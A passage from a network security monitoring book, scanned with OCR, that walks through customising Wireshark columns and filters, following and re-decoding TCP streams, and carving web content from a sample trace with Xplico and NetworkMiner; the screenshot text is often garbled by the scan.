Figure 7-3: Default columns in Wireshark

Modifying the Layout Using the GUI

I prefer a Wireshark layout that shows absolute date and time, along with
the source and destination port numbers. We’ll set up that layout as an
example of how to use the Wireshark GUI to modify displayed columns to
better show relevant packet fields.

To change the default layout settings, follow these steps:

Select Edit » Preferences » Columns.
Highlight the Time row.
Change the Field Type field to Absolute Date and Time.

Change the Source Address field to Src Addr (unresolved) and the
Destination Address field to Dest Addr (unresolved).

Click Add, and then select Source Port (unresolved).

6. Double-click the New Column field and replace the Title entry with
SrcPort.

7. Click Add again, and add Dest Port (unresolved).

8. Double-click the New Column field and replace the Title entry with
DstPort.

9. To hide the Length field that shows the packet length in bytes, high-
light that field and click Remove.

0 o=

ot
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10. Click and drag each of the new columns to the locations shown in
Figure 7-4.

b Wireshark: F ces - Profile:
v 1 UseTnter?ace | Columns
| Layout il -
Osplayed Tile _ Fied type
Font | M  No. ‘Number
Colors ‘ 4 Time Absolute date and time
Capture 4 éSﬂurce éSrc addr (unresolved)
Printing ¢ SrcPort Src port (unresolved)
Name Resolution M Destination: Dest addr (unresolved)
Statistics 4 DstPort Dest port (unresolved)
|» Protocols & Protocol Protocol

Properties

lﬂJ Field type: llnfomlation 2 |

© remove Field name: | |

Figure 7-4: Customizing the Wireshark layout

11. Click Apply, and then click OK.

Modifying the Preferences File

If you prefer a more direct approach to modifying the screen layout, edit
the .wireshark/preferences file. First, you need to create this file by choos-

ing Edit » Preferences » Columns » Apply » OK, with or without making
changes. Then you should find a .wireshark/preferences file in your home direc-
tory. This file controls Wireshark’s column layout and is shown in Listing 7-1.

# Packet list column format.
# Each pair of strings consists of a column title and its format.
column.format:

"No.", "%m",

"Time", "%t",

"Source", "%s",

"Destination”, "%d",

"Protocol”, "%p",

"Length", "%L",

"Info", "%i"

Listing 7-1: Contents of the .wireshark/preferences file
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Close Wireshark and edit the fields in .wireshark/preferences so that they
appear as shown in Listing 7-2 (with changes shown in bold). Also, delete

the Length field entirely.

# Packet list column format.
# Each pair of strings consists of a column title and its format.
column.format:
"NO.“, Il%mll,
"Time", "%Yt",
"Source", "%us",
"SrcPort", "%uS",
"Destination”, "%ud",
"DstPort", "%uD",
"Protocol”, "%p",
"Info", "%i"

Listing 7-2: Edited contents of the .wireshark/preferences file

When you restart Wireshark and open a trace, the GUI will now display
columns as shown in Figure 7-5. This is a trace from a demo SO stand-
alone system with the display filter arp or ip.addr==192.168.2.127, which tells
Wireshark to show Address Resolution Protocol (ARP) frames, or any traf-
fic involving 192.168.2.127.

snort.log.1360501765 [Wireshark 1.6.7 ]

File Edit View Go Capture Analyze lephony  Tools Help
B2 €2 Q@ VT
arpor ip.addr=192.168.2.127 |+ | Expression... Clear soply

Time Source SrcPort  Destination DstPort Protocol Info f
19°2013-02-10 13:09:259.9°192.168.2.127 39245 172.16.2.1 53 DNS Standard query AAAA O.ubuntu.pool.ntp.org

Frame 19: 81 bytes on wire (648 bits), 81 bytes captured (648 bits)
» Ethernet II, Src: 00:13:10:65:2f:ac (00:13:10:65:2f:ac), Dst: 00:0d:b9:27:f1:48 (00:0d:b9:27:T1:48)
» Internet Protocol Version 4, Src: 192.168.2.127 (192.168.2.127), Dst: 172.16.2.1 (172.16.2.1)
b User Datagram Protocol, Src Port: 39245 (39245), Dst Port: 53 (53)
P Domain Name System (query)

0000 b9 27 f1 48
0010 f5 52 40 00
0020 99 4d 00 35
0030 00 00 00 00

0040 6f 6c 03 6e
0050

Chofe et L

@ Frame (frame), &1 bytes - Packets: 19866 Displayed: 388 Marked: 0 Load time: 0:00.523

Figure 7-5: Wireshark showing new column preferences and display filter

Some Useful Wireshark Features

Now that you have Wireshark up and running, we’ll discuss a few of my
favorite Wireshark features, including the ability to see low-level proto-
col features in detail. Although Tshark offers this feature, Wireshark’s
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graphical nature makes it easier to jump from one element to another.

I also enjoy adding and removing display filters in Wireshark. Again,
you can do this with Tshark, but each new filter requires running Tshark
again. In Wireshark, all it takes is applying the new filter in the GUI. Also,
Wireshark exposes features for controlling how data is decoded, following
streams, and exporting object functions; these help analysts manipulate
traffic in ways not offered in Tshark.

Viewing Lower-Level Protocol Features in Detail

Wireshark permits analysts to see lower-level protocol features in extreme
detail. Its deep understanding of protocols allows it to decode just about
every field it encounters, assuming the traffic is unencrypted and recog-
nized by its protocol dissectors. (Should you encounter encrypted sessions,
Wireshark offers some capabilities for incorporating cryptographic keys to
decrypt traffic.)

For example, Figure 7-6 displays an ARP request message. Looking only
at the hex and ASCII values in the bottom pane, you would be hard-pressed
to understand all of the elements of this frame. However, the protocol decode
in the middle pane explains every field quite clearly. Whatever field you high-
light in the middle pane is highlighted in the corresponding hex and ASCII
output in the bottom pane.

w2 snort.log.1360501765 [Wireshark 1.6.7] - 4+ X
File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help

SEMe N AZxe=w A€ YT L [E

Fiter: [arp or ip.addr—192.168.2.127 [ v | Expression... clear Apply
i L )

No. Time Source SrcPort Destination DstPort Protocol Info

575'2013-02-10 13:09:54.1.00:13:10:65:2F:ac 00:0d:b9:27:F1:48 ARP who has 172.16.2.1? Tell 172.16.2.2
576:2013-02-10 13:09:54.1:00:0d:b9:27:f1:48 00:13:10:65:2f:ac ARP 1172.16.2.1 is at 00:0d:b9:27:f1:48

» Frame 575: 60 bytes on wire (480 bits), 60 bytes captured (480 bits)
b Ethernet II, Src: 00:13:10:65:2f:ac (00:13:10:65:2f:ac), Dst: 00:0d:b9:27:f1:48 (00:0d:b9:27:f1:48)
¥ Address Resolution Protocol (request)

Hardware type: Ethernet (1)

Protocol type: IP (0x0800)

Hardware size: 6

Protocol size: 4

Opcode: request (1)

[Is gratuitous: False]

Sender MAC address: 00:13:10:65:2f:ac (00:13:10:65:2F:ac)

Sender IP address: 172.16.2.2 (172.16.2.2)

Target MAC address: 00:00:00:00:00:00 (00:00:00:00:00:00)

Target IP address: 172.16.2.1 (172.16.2.1)

0000 00 0d b9 27 f1 48 00 13 10 65 2f ac 08 06 00 01 ...'.H.. .e/.....

0010 08 00 06 04 00 01 00 13 10 65 2f ac ac 10 02 02 ........ oY G

0020 ac 10 02 01 oo 00 oo oo oo oo [EERN.. ........

D030 00 00 00 00 OO 00 0D 00 26 d9 60 95  ........ B.C.

@ Target MAC address (arp.dst.hw_mac), ... - Packets: 19866 Displayed: 388 Marked: 0 Load time: 0:01.069  Profile: Default 4

Figure 7-6: Wireshark explains an ARP request message.

Omitting Traffic to See Remnants

Another particularly useful feature of Wireshark is its ability to filter traf-
fic to show you interesting remnants. Sometimes I hunt for traffic by tell-
ing Wireshark what to ignore so that I can examine what’s left behind. I
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start with a simple filter, review the results, add another filter, review the
results, and so on until I'm left with a small amount of traffic to analyze.
For example, Listing 7-3 shows how I progressively built a display filter to
search for noteworthy traffic.

not http and not ntp and not dns and not tcp.port==443 and not tcp.port==80
and not icmp and not tcp.port==5223 and not arp

Listing 7-3: Display filter omitting traffic in Wireshark

This filter omits the following:

e HTTP traffic

e NTP traffic

e  DNS traffic

e Any traffic on port 443 TCP

e Any traffic on port 80 TCP

e ICMP traffic

e Any TCP traffic on port 5223 (Apple Push Notification service)
e Address Resolution Protocol (ARP) traffic

The result is shown in Figure 7-7.

E

11 63522013702710

11636:2013-02-10

File Edit View Go Capture Analyze isti lept Tools Help

i)

snort.log.1360501765 [Wireshark1.6.7] - &

L Qe

.port=80and not icmp and not tcp.port==5223 and not arp | v | Expression...

Time

2013-02-10

2013-02-10

2013-02-10

2013-02-10

2013-02-10

2013-02-10

Source SrcPort  Destination
.4.-192.168.2.104 60560 74.201.145. 10002 [SYN] Seq=0 Win=8192 Len=0 MS5=

.41192.168.2.104 : 174.201.145.181 : : [ACK] Seq=1 Ack=1 Win=17520 Le
.41192.168.2.104 : :74.201.145.181 ; ; [PSH, ACK] Seq=1 Ack=1 Win=1753
.4174.201.145.181 ; 192.168.2.104 : : ACK] Seg=1 Ack=705 Win=50
.51192.168.2.104 : :74.201.145.181 : ; Seq=1 Ack=1 Win=17520 lLe
.7:192.168.2.104 i 174.201.145.181 i : 5eq=705 Ack=480 Win=17040
.6:74.201.145.181 : 1192.168.2.104 : ; [ACK] Seq=1 Ack=2 Win=4380 Len:

.6192.168.2.104 ; 174.201.145.181 ; : Seq=2 Ack=2 Win=17520 Le

.61192.168.2.104 :74.201.145.181 [ACK] Seq=705 Ack=481 Win=17040

12201:2013-02-10 13:13:24.6174.201.145.181 ;10002 :192.168.2.104 S : 60560 [ACK] Seq=481 Ack=706 Win=5084
P Frame 11626: 66 bytes on wire (528 bits), 66 bytes captured (528 bits)
» Ethernet II, Src: 00:13:10:65:2f:ac (00:13:10:65:2f:ac), Dst: 00:0d:b9:27:f1:48 (00:0d:b9:27:f1:48)
b Internet Protocel Version 4, Src: 192.168.2.104 (192.168.2.104), Dst: 74.201.145.181 (74.201.145.181)
b
0000 00 0d b9 27 f1 48 00 13 10 65 2f ac 08 00 45 00 ISETSTR | SRR e =
0010 00 34 79 d2 40 00 7f 06 e2 62 c0 a8 02 68 4a c9 Ay.@... .b...hJ.
0020 91 b5 ec 90 27 12 4e ba 41 f8 00 00 00 00 80 02 v MM SRR
0030 20 00 Ob 32 00 00 02 04 05 b4 01 03 03 02 01 01
0040 04 02 oo
@ File: "/nsm/sensor data/sademo-eth1/... - Packets: 19866 Displayed: 17 Marked: 0 Load time: 0:00.431  Profile: Default "

Figure 7-7: Traffic remaining after applying the display filter in Listing 7-3

142

Chapter 7

www.it-ebooks.info


http://www.it-ebooks.info/

Following Streams

Figure 7-7 shows two sets of TCP streams. The destination port for each is
10002, but the source port for one stream is 60560 and the other is 60563.
With the two streams intertwined, it is somewhat difficult to follow what is
happening. Another drawback to this approach is that I'm more interested
in the content of the conversation, rather than a packet-by-packet list. This
brings me to my third favorite Wireshark feature: following streams.

Wireshark can identify all TCP segments in a stream, reassemble them
using a specific algorithm, and present the results as text. This capabil-
ity makes it easy to identify the purpose of a conversation and determine
whether it is benign, suspicious, or malicious.

To tell Wireshark to reassemble a TCP stream, highlight one of the
packets in a stream, right-click, and choose Follow TCP Stream, as shown
in Figure 7-8.

snort.log.1360501765
File Edit View Go Capture Analyze Statistics Telephony Tools Interna

Bl aZxcs A& 3%

Filter: [m:rt http and not ntp and not dns and not tcp.port==443 and | v | Expression...

No. Time Source

SrcPort Destination

:2013-02-10 :09.4:192.168.2.104
'2013-02-10 13:13:09.4°192.16 -

‘60560 :74.201.145.14

Mark Packet (toggle)

Ignore Packet (toggle)

12013-02-10 :09.4!74.20
12013-02-10 13:13:09.5/192.16
:2013-02-10

Set Time Reference (toggle)

Manually Resolve Address

Apply as Filter
:2013-02-10 op

12013-02-10 13:13:14.6{192.1§

12013-02-10

12201:2013-02-10 13:13:24.6174.20

> Frame 11636: 758 bytes on wire (
P Ethernet II, Src: 00:13:10:65:2f:8
P Internet Protocol Version 4, Src:

: Decode As...

Print...
P Transmission Control Protocol, Sr y ! :
— Show Packet in New Window

loooo 00 od b9 27 f1 48 00 13 10 65 2f ac 08 00 45 00

Figure 7-8: Choosing Follow TCP Stream in Wireshark

For this example, Wireshark renders the stream shown in Figure 7-9.
The text at the top shows a GET request from a web browser. The text begin-
ning with HTTP/1.1 200 OK shows a web server’s reply.

Notice that the web client mentions the Accept-Encoding: gzip, deflate
option. The reply from the web server is actually gzip-encoded, but Wireshark
unzips the content and displays cleartext. We recognize this traffic as HTTP,
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even though Wireshark did not identify it as such by default. (In the figure,
I've redacted possibly sensitive information from the transcript involving
the cookie used during this exchange.)

-

Follow TCP Stream + X
Stream Content

GET /bidder/am/notify?id
5z=728x90&dn=coloring.ws&wp=1.088uid=CAESEK
881i=137162 HTTP/1.1

Host: lbinapnym.bidder.ownerig.net:10002

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: image/png,image/*;q=0.8,*/*;q=0.5

Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Referer: http://www.coloring.ws/t_main.asp?t=http://www.coloring.ws/animals/cats/
catl6.gif

Cookie:

apg=.; rpg=.; sid ; kpg=1
Connection: keep-alive

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

P3P: policyref="/w3c/p3p.xml”, CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM
INT OTC PUR STA"

set-Cookie: si=|j S ; 0conain=.ownerig.net; Expires=Fri, 09-Feb-2018
13:13:09 GMT; Path=/

Set-Cookie:

s5=

Content-Type: image/gif

Content-Length: 43

Date: Sun, 10 Feb 2013 13:13:09 GMT

G BRI e e e T Y
‘ Entire conversation (1183 bytes) o |
‘ O\ Find | ] Save As Il | Print | ASCIT EBCDIC Hex Dump C Arrays @® Raw

| 6 Help | ‘ E] Filter Out This Stream | \ x Close

Figure 7-9: Wireshark displays a reassembled TCP stream.

Setting the Protocol Decode Method with Decode As

After reassembling a stream as discussed in the previous section, Wireshark
will display only the packets in that stream in the main window. To change
the way that Wireshark sees this traffic, use the Decode As option. This tells
Wireshark to apply a certain protocol decode method to specific traffic.

As an example, we’ll tell Wireshark to think of traffic to port 10002
as HTTP.

1. Right-click one of the packets in the stream to be decoded, and click
Decode As, as shown in Figure 7-10.

2. You will see a menu asking which ports Wireshark should decode. For
this example, choose Destination (10002) in the TCP Port(s) field.

3. Scroll through the protocols listed on the right to find and select HTTP.
4. Click Apply.
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57 snort.log.1360501765 [Wireshark 1.6.7 ]
File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help

= ; -5 X

‘Fim:.l[tcp.mm'eqm ‘ v ‘Expmssmn Clear Apply

No. Time Source srcPort Destination DstPort Protocol Info
60560 74.2017.145.181 10002

74.201.145.181
74.201.145.181
192.168.2.104
74.201.145.181

10002
60560

Wil W

Apply as Filter
Prepare a Filter
i 74.201.145.181
Con tion Filter
Colo versa : :
ColoHze o /s 10002 192.168.2.104 /60560

Follc CP Stream

Print...

Show Packet in New Window
2100 SCE IR SR RIS b8 bits), 66 bytes captured (528 bits)

Figure 7-10: Selecting Decode As

You’ll see that Wireshark now understands a GET request and a web
server reply, as shown in Figure 7-11. For example, notice how frames 11636
and 11648 are now listed as HTTP in Wireshark’s Protocol column.

File Edit View Go Capture Analyze isti leph Tools

= B HAFXEE Q-

Fﬁhm [tcp.stmam eq 299

No. Time Source SrcPort Destination DstPort Protocol Info
11626 2013-02-10 13:13:09.4-192.168.2.104 74.201.145.181

11635:2013-02-10 1 9.4192.168.2.104 74.201.145.181 : > 10002 [ACK]

192.168.2.104 3 74.201.145.181 3 > 10002 Seq=705 Ack=480 Win=17040

12199 :2013-02-10 13:13:24.6!192.168.2.104 5 74.201.145.181 : 7 10002 [ACK] Seq=705 Ack=481 Win=17040

12201;2013702710 13:13:24.6!74.201.145.131 192.168.2.104 ;EﬂSﬁl] 60560 [ACK] Seq=481 Ack=706 Win=5084

> Wireshark: Decode As + X

|H248
|1cAP
iFCP ‘ ‘
P Frame 11626: 66 bytes on wire ( ) Do notdecode [TCP | destination (10002) = | port(s) as [IMAP
P Ethernet II, Src: 00:13:10:65:2] IPDC
P Internet Protocol Version 4, Sri |

|
> | show current_| imm | |

() Decode

IRC
oooo 00 od b9 27 f1 48 00 13 10 I J |

0010 00 34 79 d2 40 00 7f 06 e2  clear | ISAKMP

0020 91 b5 ec 90 27 12 4e ba 41

0030 20 00 Ob 32 00 00 02 04 0S5 l Help l I o OK H‘ J-N_:'plx ‘H ¥ close |

o040 04 02

|@ File: "Ynsm/sensor_data/sademo-eth1 ‘ackets: 1@6’8’Displayed arked: 0 Load time: 0:00.823 - Profile: Default 4

Figure 7-11: Wireshark decodes port 10002 TCP as HTTP.
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Following Other Streams

Depending on the protocol, Wireshark can also follow other sorts of streams,
such as UDP or Secure Sockets Layer (SSL). (Because UDP is not a session-
oriented protocol like TCP, Wireshark makes its best assessment of which
UDP packets make up a UDP “session.”

Additionally, Wireshark can extract content from some streams, such
as HTTP objects, Server Message Block (SMB) objects, and Digital Imaging
and Communications in Medicine (DICOM) objects. For example, at the
bottom of Figure 7-9, we see that the web server sent a 43-byte .giffile to
the web client. We can use Wireshark’s HTTP objects export function to
investigate this file. Select File » Export » Objects » HTTP to access this
feature. You'll see a window showing all HTTP objects that Wireshark rec-
ognizes in the trace, including HTML pages, JavaScript, text, images, and
other objects. To access the packet of interest here, scroll down to packet
11648, which contains the HTTP/1.1 200 OK (GIF89a) message, as shown in
Figure 7-12. Then click Save As, name the file, and save it.

ark
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1 EXCE e 3]
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Figure 7-12: Wireshark HTTP object list

Upon reviewing the .gif, you’ll find that it’s a 1x1 pixel image, perhaps
for tracking and advertisement purposes. The web server in question at
74.201.145.181 is owned by OwnerlQ, described at http://www.ownerig.com/
as “THE advertising network that pioneered the concept of Ownership
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Targeting. . . . We enable advertisers to define and reach their ideal online
consumer.” That sounds like the sort of service that might deploy a 1x1 “web
bug” image on a nonstandard port for tracking purposes.

As you can see, Wireshark equips us with the ability to pivot from one
datatype to another, applying extra processing to certain protocols when
possible. That’s just the beginning! As I suggested at the beginning of this
section, read a book devoted to Wireshark to learn more about its capabilities.

Using Xplico

Xplico (http://www.xplico.org/) is an open source network forensic analysis
(NFA) tool that understands many network protocols and will carve out the
information it recognizes.

Gianluca Costa and Andrea De Franceschi developed Xplico under the GNU General
Public License version 2.

As an NFA tool, Xplico is most often used against a saved trace file to
extract and interpret interesting content, as we will do in this chapter’s
example. Xplico can also sniff traffic live from the wire. However, the
authors don’t recommend running Xplico against a live interface and say
that is more for demonstrations than production use.

To understand Xplico, we’ll use it to analyze network traffic available
through the Digital Corpora project (http://www.digitalcorpora.org/). Digital
Corpora is a National Science Foundation grant-funded collection of digi-
tal evidence, led by forensics guru Simson Garfinkel. Analysts and students
can use the Digital Corpora project to download and interpret data from
cell phones, hard drives, and network traffic in order to learn how to use
forensic tools and techniques.

We’ll use the pcap file bundled in the “Nitroba University Harass-
ment Scenario” (hitp://digitalcorpora.org/corpora/scenarios/nitroba-university
-harassment-scenario/) posted at hitp://digitalcorpora.org/corp/nps/packets/
2008-nitroba/nitroba.pcap. The trace is approximately 55MB and contains a
variety of network traffic suitable for NSM and forensic review. Download
the nitroba.pcap file before trying to use Xplico.

Running Xplico

Xplico is managed via a web browser. By default, SO is configured to allow
only local access to the Xplico web server. Remote users must either tunnel
traffic via OpenSSH (as discussed in Chapter 5) or alter the firewall rules
to permit remote access to port 9876 TCP. Choose the option that best meets
your needs.

When first accessing Xplico, you may see an error like the one shown in
Figure 7-13.
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iQXpIico .iUserst..

L C' | B¢ htaps://192.168.2.127:9876/users/login

Xplico Interface
Login  Licenses

Info Kplico is not running!

About

W‘: For starting Xplico, please choose one of these options as root:
Forum
e a) If you are using the Ubuntu/Debian package, run: "/etc/init.d/xplico start”

b) Run: "joptixplico/script/sqlite_demo.sh”

Licenses

iQ

Figure 7-13: By default, Xplico is not running.

This error means that while the Apache web server on SO is serving
pages, the Xplico service is not yet active. Fix that by running the command
shown in Listing 7-4.

$ sudo service xplico start
* Starting Xplico
Modifying priority to -1 [ OK ]

Listing 7-4: Starting the Xplico service

Now reload the web browser and choose a language. Next, use the
username xplico and the password xplico to log in, as shown in Figure 7-14.
(Selecting the language changes the URL but does not show the language
choice in the Language drop-down box.)

Info
About —Language— [=]
Miki Please login
Forum
Licenses Username

ifj_ hane xplico
Password
Login

Figure 7-14: Llogging in to Xplico

Creating Xplico Cases and Sessions

Xplico organizes network traffic as sessions and refers to analysis sessions as
cases. To start a new case and a session to interpret, follow these steps:

1. Select New Case and leave the default Data Acquisition method set to
Uploading PCAP Capture File/s, as shown in Figure 7-15.

2. Enter a case name, and then click Create.
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2 Xplico .:Pols:..

&« C | B bt#pt//192.168.2.127:9876/pols/add

Xplico Interface xplico

Help Forum  Wiki Change password Licenses Logout

Case New Case
Case:
New Case
DATA ACQUISITION
@ Uploading PCAP capture file/s O Live acquisition

Case name  pnsmO1
External reference
Create

Figure 7-15: Creating a new case in Xplico

3. After creating a new case, you should see it listed in a cases list. Click
the name of the case to continue.

4. Click the New Session link in the upper-left menu to create a new session.

5. Give the session a name, as shown in Figure 7-16, and then click Create.
(Xplico will allow only alphanumeric characters in session names, so
you cannot use dashes in the name.)

1C Xplico .Sols:.,

« Q@ | B hiers//192.168.2.127:9876/s0ls/add

Xplico Interface er: xplico

Help Forum Wiki Change password Licenses Logout

New listening session

Session name pnsm01session01
Create

Figure 7-16: Creating a new session in Xplico

With the new session created, Xplico is now ready to process network
traffic.

Processing Network Traffic

To process network traffic, click the name of the session. You will see a
screen like the one shown in Figure 7-17. Because we have not processed
any traffic yet, Xplico will not show any results.

Select Choose File, browse to the nitroba.pcap file you downloaded ear-
lier, click Open, and then click Upload. The web browser should report that
it is uploading the file. Once the file has been uploaded, Xplico will display
“File uploaded, wait start decoding...” at the top of the screen.

It will probably take a few minutes for Xplico to process the traffic,
depending on your hardware. Once Xplico has finished decoding the
traffic, it should report Decoding Completed in the Status field. Its main
screen will display statistics on the sorts of traffic it recognized and inter-
preted, as shown in Figure 7-18.
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/sols/view/1
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Cap. End Time 0000-00-00 00:00:00 T [ T R EEEE

Status EMPTY

Upload
List of all pcap files.
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Server 0 DNS res 0 Video 0 Groups 0
Channels 0/0/0 ARP/ICMPvE 0/0 Audio 0 Articles 0

Connections 0/0

Xplico Interface xplico

Help Forum Wiki Change pa

Case and Session name pnsm01 -> pnsm01session01 PCAP-over-IP TCP port: 30002.

Cap. Start Time 2008-07-22 01-51-07 Add new pcap file.
Cap. End Time 2008-07-22 061347 ==

© Graphs tatus DECODING COMPLETED

S
© Wah Hosts = Upload

(O Mail ] Fitter List of all peap files.

@ voip

EEREE R e R

; ;

Post 371 Number 0 Received 0 Connections (-0 Total 0
= 5 Contents 0 Sent 0 Downloaded 0 -0 Received 0

Video 0 Unreaded 0/0 Uploaded 0-0 Sent 0

Io 66 Images 0 HTTP 16

Server 0 DNS res 718 Video 0 Groups 0
Users 0 Channels 0/0/0 ARP/ICMPv6 4080/0 Audio 0 Articles 0
Chats 0/0
Number 20 Pdf Connections 0/0 Calls Textflows  28/334

I rover

Figure 7-18: Xplico has finished decoding the trace file.

Understanding the Decoded Traffic

At this point, an analyst can peruse the decoded traffic for content of inter-
est. This investigative method differs from that of the previous tools, which
interact with packets or sessions. With Xplico, analysts manipulate and
browse extracted content.

For example, an analyst may want to know if video content was trans-
ferred during a web browsing session. In fact, Figure 7-18 shows 1 in the
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Video field in the HTTP section of the summary screen. This means Xplico
extracted video content from the network traffic and can make it viewable
to users. To access the content, click the Web link in the upper-left corner
of the Xplico display, and then click the Site link that appears next.

By default, Xplico will show the last 16 web sessions, with the newest
listed first, as shown in Figure 7-19.

Xplico Interface xplico
Help Forum Wiki  Change p Logout

For a complete view of html page set your browser to use Proxy, and point it to Web server.

. @ i
Web Web URLs: 9 Html _Image ~Flash ~ Audio ~JSON AN

= Search: Go

Site

Feed Date url Size Method  Info
Images 2008-07-22 06:11:34  www.google.comffirefox?client=firefox-a&rls=org.mozilla:en-U S:official 2756 GET  info.xml
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% 2008-07-22 06:11:09  pni.adserver.yahoo.com/a?l=SKY&pd_id=nY%2BsHZ2PrBmdj6wVnY%2BsEZ2PrA2dj6wJKYKnDJSApA%2Bd 929 GET info.xmi

2008-07-22 06:11:09  ad.yieldmanager.com/st?ad_type=i |_size= if ion_code=127963178cb=121 14 GET info.xmi

2008-07-22 06:11:09 pni.adserver.yahoo.com/a?l=N&pd_id=nY%2BsHZ2PrBmdj6wVnY%2BsEZ2PrA2dj6wJkYKnDJ SApA%:2Bdj6y 976 GET info.xmi
i‘C\ 2008-07-22 06:10:44  linkarena.com/tag/business 242 GET info.xmi
2008-07-22 06:10:44  linkarena.com/tags/business 44357 GET info.xmi

2008-07-22 06:10:35  linkarena.com/ 25314 GET info.xmi

2008-07-22 06:10:30 i itdmt.com/NYC/i ycidi 111216706999 ?click=http://ad.yieldmanager.cor 8877 GET info.xmi

2008-07-22 06:10:29  ad., \ager.com/st?ad_typ: |_size= on_code=12796317&cb=121 1100 GET info.xml

2008-07-22 06:10:29  ad.yieldmanager.com/st?ad_type-=if |_size=726x30&si ion_code=12796346&cb=121¢ 539 GET info.xmi

2008-07-22 06:10:13  counter.marketplaceadvisor.channeladvisor.com/cgi-bin/ebayCounter.asp?id=323737561 139 GET info.xmi

2008-07-22 06:10:12 .comioutlool USCADS20 1755632 GET info.xmi

2008-07-22 06:10:00  ad., \ager.com/st?ad_typ: |_size=728x908 on_code=127 121€ 1272 GET info.xml

2008-07-22 06:10:00  ad.yieldmanager.com/st?ad_type=i |_size= if ion_code=127963178cb=121 14 GET info.xmi

Previous 1I2|3|1|°tfi|3:i|?||1|9 o

Figure 7-19: Xplico’s list of web sessions

To access the video content that Xplico identified, click the Video radio
button at the top of the screen, and then click Go. Xplico shows a link to a
googlevideo.com site, as shown in Figure 7-20.

1C Hplico .:Webs:.. x
” - i
Xplico Interface ser: xplico

Help Forum il Chang Licenses

For a complete view of html page set your browser to use Proxy, and point it to Web server.

Logout

Web URLs: ) Html “lmage ) Flash @ Video ) Audio ) JSON JAl
Site Search: Go
Feed Date url Size Method
Images 2008-07-22 04:47:30  v6.cache.googleviden.comiget_video?video_id=WalR9dAZRRO&amp;origin=lax-v258.kax youtube, cumamu‘slgna(urv@ 4632714 GET
Previous 1of1

© Undecoded

o v

Figure 7-20: One video link in the Digital Corpora trace
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Clicking the info.xmllink at the far right reveals options to see metadata
about the trace, as well as a link to download pcap. Most interesting, clicking
the URL shown in Figure 7-20 or the gray box to the right of the link will
open the video for viewing, as shown in Figure 7-21. This video is not being
streamed from the Web; it’s a reconstruction of the video as downloaded
when the network traffic was originally captured.

PREVIEW .
ALL AUDIENCES

Figure 7-21: Reconstructing a video downloaded from the Web

It’s also possible to browse thumbnails of images downloaded while this
network trace was being captured. As shown in Figure 7-22, someone went
shopping for a backpack at eBay.

= Hplicw wWebs, x
L o]

B lagrs//192.168 2 1279876/ webs fimages/page:3

humbs3 staystatic com thumbs| eoeystatic som thumas3 eoeystate com thumas3 coaystase cem
e or Page Fmage or Page Image or Page Image or Page

thumbs3 soaysiatic zom thumbs3 eosystatis com thumais! cosyatatic com thumas3 cbaysase com
Image or Page mage or Page Image or Page mage or Page

thumhs | eaysimiic eom thumhs3 eaayaitie com thumha3 saaystatie com thumba3 phaystane com
e or Pagn Emage or Page Image or Page Image or Page

Figure 7-22: Reconstructing images downloaded from the Web
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Getting Metadata and Summarizing Traffic

Besides reconstructing interesting content, Xplico provides some metadata
and summarization of the traffic it understands. To see this in action, fol-
low these steps:

1. Under the Graphs menu item in the upper-left portion of the screen,
click the DNS link to tell Xplico to show a sorted list of DNS queries.

2. At the top of the screen, a red, yellow, and green pie chart icon will
appear. Click that icon to display a bar chart of DNS responses, with
a tab for Host Popularity in the upper-right corner.

3. Click the Host Popularity tab to see a chart with DNS queries ordered
by frequency, as shown in Figure 7-23.

I< Xplico +Dns Messages:.. =
& 0 O fbopt/192.1682.127:0876 /dns messages/site_graph

Host Popularity

Figure 7-23: Xplico graphs DNS queries by frequency.

4. Highlight any bar to display the hostname queried and a response
count.

Xplico makes it very easy to review a variety of content captured in a
network trace. By publishing the data through SO’s Apache web server, the
authors allow anyone with a web browser and authenticated access to review
the data. This is one tool that really brings NSM extracted content to life.

Examining Content with NetworkMiner

NM (http://sourceforge.net/projects/networkminer/) is an open source NFA tool
that also exists as a commercial version.

Erik Hjelmuik develops NM under the GNU General Public License version 2.
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The commercial version of NM at http://www.netresec.com/ enables remote
packet capture via Pcap-over-IP, Port Independent Protocol Identification
(PIPL; see http://taosecurity.blogspot.com/2006/09/port-independent-protocol
.html for a description), and other features. The free version bundled with
SO contains the core features an analyst would want in order to examine
content.

In this section, we’ll see what NM does with the Digital Corpora trace
examined earlier in the Xplico discussion. If you haven’t already down-
loaded nitroba.pcap onto the SO platform, do that before continuing.

Running NetworkMiner

NM is a Windows application, but the SO team configured it to run under
the open source Mono (http://www.mono-project.com/) implementation of
Microsoft’s NET Framework.

To access NM from the SO desktop click the blue-and-white mouse
icon, then Security Onion, and finally NetworkMiner. By default, NM wants
to watch a live interface to collect traffic. To start the analysis process, select
File » Open in NM and browse to the location of the nitroba.pcap file.

Once the file is loaded, NM should display a flurry of analysis activity,
including extracting content and resolving all of the domain names it finds
in the trace, as shown in Figure 7-24. This process may take an hour or two
and will keep your SO platform busy.

Loading PCAP file

= NetworkMiner 1.4.1 X
File  Tools Help

— Select a network adapter in the list — :I P start Stné

Parameters (531) | Keywords | Cleartext | mnmaﬁes[ : : . [ Case Panel
Hosts (43) | Frames (41xx) | Files (80) | Images (39) | Messages | € an| 1) | one
Sort Hosts On:  |IP Address (ascending) =] PRSI nitroba... d6b5d...

192.168.1.64 =
74.125.19.83
74.125.19.19
192.168.1.254
74.125.19.103 [www.l.google.com]
74.125.19.147 [www.|.google.com]
74.125.19.104 [www.l.google.com]
74.125.19.99 [www.l.google.com]
209.85.171.97 [ssl-google-analytics.|.google.com]
@ 72.14.223.191 [blogger.l.google.com)
£9.59.240.133
209.3.183.2 [f.chtah.com]
216.15.189.52 [f.chtah.com]
216.15.189.53 [f.chtah.com]
216.15,189.54 [f.chtah.com]
208.49.63.20 [F.chiah.com]
208.3.183 4 [f.chtah.com]
65.175.87.70 [e.drugstore.cam)|
74.127 1.71 [e.drugstore.cam] :
£3 FAS 200 127 [fefaade mozilla ardl d Reload Case Files

B-B-B-8-0-E-8-8-8

=

T EBEEE-E-E-E-E-E

Live Sniffing Buffer Usage: |

Figure 7-24: NM processes the nitroba.pcap trace.
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NM on Windows is much faster than it is on Mono and Linux. You may want to
install it on a Windows workstation with plenty of memory, or limit its use on SO
to processing smaller trace files.

The remainder of this section focuses on how to interact with the same
